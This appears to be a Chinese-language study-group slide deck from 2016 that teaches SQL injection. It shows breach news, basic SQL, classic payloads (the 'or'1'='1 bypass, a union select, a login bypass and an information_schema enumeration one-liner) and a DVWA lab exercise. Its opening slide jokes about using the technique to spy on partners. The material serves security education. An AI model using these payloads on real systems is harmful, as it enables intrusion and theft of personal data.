TDOH PIPE 201611
資訊安全讀書會
早上好!我是洋蔥
SQL Injection
讀書會歡迎大家
踴躍參與討論!
到底可以幹嘛?
你可以
- 取得你心上人家的戶籍地址
- 你可以知道老公有沒有去找小三
- 你可以知道巧克力傳情誰買了巧克力給自己吃

你可以
- 取得個人機密資料,帳戶資料,密碼等
- 取得整個資料庫權限
- 取得系統管理員權限
來看看一些案例
Ubuntu論壇遭駭,2百萬用戶資料曝光 - 2016/07/19

日盛證券外洩數億筆資料
- 2016/03/04
中國漏洞通報平臺烏雲(WooYun)在3月3日下午3點57分公佈,日盛證券網站因為有SQL Injection(隱碼攻擊)的漏洞,導致有數億筆的資料外洩。受託回報的臺灣HITCON ZeroDay漏洞通報平臺窗口翁浩正表示,在當天下午已經立即轉告日盛證券相關漏洞資訊,態度相當正面,預料應該正在著手修復中。
「.tw」網域被駭客攻陷!對岸工程師爆出台灣國家級漏洞

國內戶政事務所系統被報導有SQL Injection漏洞,內政部:情況不嚴重

中國的網路漏洞回報平台烏雲網回報了一個令國人很值得注意的漏洞,內容是台灣的戶政事務所被查出有4處SQL Injection漏洞,危害等級被評為「高」,雖然這則新聞在新年的氣氛之下被沖淡了,但是由於戶政事務所的資料影響相當大,嚴重到可能與選務有關,還是有很多人相當關心。

Ashley Madison hack exposes IT details and customer records

Hack Brief: 412M Accounts Breached on FriendFinder Sex Sites

到底有多嚴重
知名漏洞回報平台

OWASP TOP 10


讓我從 SQL 娓娓道來
SQL 語法介紹
SELECT - 取得資料庫已存在資料
SELECT username FROM account WHERE uid=1;
從 account 這個表格中取得 uid 為 1 的 username
UPDATE - 更新資料庫已存在資料
UPDATE account SET username='hrj' WHERE uid=1;
從 account 這個表格中將 uid 為 1 的 username 修改為 hrj
SQL 語法介紹
INSERT - 新增一筆資料給資料庫
INSERT INTO account (username) VALUES ('hrj');
新增一筆 username 為 hrj 的資料進 account 資料表裡
DELETE - 刪除資料庫已存在資料
DELETE FROM account WHERE uid=1;
將 uid 為 1 的資料從 account 資料表中刪除
三層式架構

SQL
How it works?
Web Server:
news.php?id=3
Result:
ID NAME CONTENT DATE
1 電視黑客 hrj 出沒台科 ... 2016/10/27
2 世紀黑黑莫風驚現聖約翰 ... 2016/11/20
SQL:
SELECT * FROM `news` WHERE id=3
3 濕冷中部以北高溫驟降7度 ... 2016/11/27
SQL Injection
資料庫隱碼攻擊
怎麼發生的?
I have SQL
I have Web
Umm ...
SQL Injection



How it works?
Web Server:
news.php?id=3
Result:
ID NAME CONTENT DATE
1 電視黑客 hrj 出沒台科 ... 2016/10/27
2 世紀黑黑莫風驚現聖約翰 ... 2016/11/20
SQL:
SELECT * FROM `news` WHERE id=3
3 濕冷中部以北高溫驟降7度 ... 2016/11/27
How it works?
Web Server:
news.php?id=3'or'1'='1
SQL:
SELECT * FROM `news` WHERE id=' '
Result:
ID NAME CONTENT DATE
3'or'1'='1
1 電視黑客 hrj 出沒台科 ... 2016/10/27
2 世紀黑黑莫風驚現聖約翰 ... 2016/11/20
3 濕冷中部以北高溫驟降7度 ... 2016/11/27
How it works?
Web Server:
news.php?id=3'or'1'='1
SQL:
SELECT * FROM `news`
WHERE id=' '
Result:
ID NAME CONTENT DATE
2 and 1=2 union select 12, 34, 56, 78
12 34 56 78
PHP Ex.
$user = $_POST['user'];
$pass = $_POST['pass'];
$sql = "SELECT * FROM `account` WHERE
username='$user' AND password='$pass';
$sql = "SELECT * FROM `account` WHERE
username=' ' AND password='$pass';
1' or '1'='1’;--
SELECT * FROM `account` WHERE username='1'or'1'='1';
一言以蔽之
使用者輸入直接被帶入資料庫執行
SQL Injection
- 直接使用字串而無正確 prepare statement
- 未控制字數造成資料庫 overflow
- 使用系統管理員執行資料庫程式
- 開啟權限過高之功能
- 未妥善區分資料庫使用者
課程練習
請安裝
- DVWA-1.9
- xmapp-5.5.38-VC11 (5.5.38 / PHP 5.5.38)
- Firefox + Hackbar
- http://bit.ly/tdoh-pipe-201611
一句話列舉
(SELECT @ FROM (SELECT @:=0,(SELECT @ FROM information_schema.columns WHERE @ IN (@:=CONCAT(@, 0x0a,concat_ws(0x3a,table_schema,table_name,column_name))) ) )x)
TDOH - PIPE資訊安全讀書會
By Albert Hsieh
TDOH - PIPE資訊安全讀書會
TDOH - PIPE 資訊安全讀書會 & 資安交流活動 | 201611
- 1,379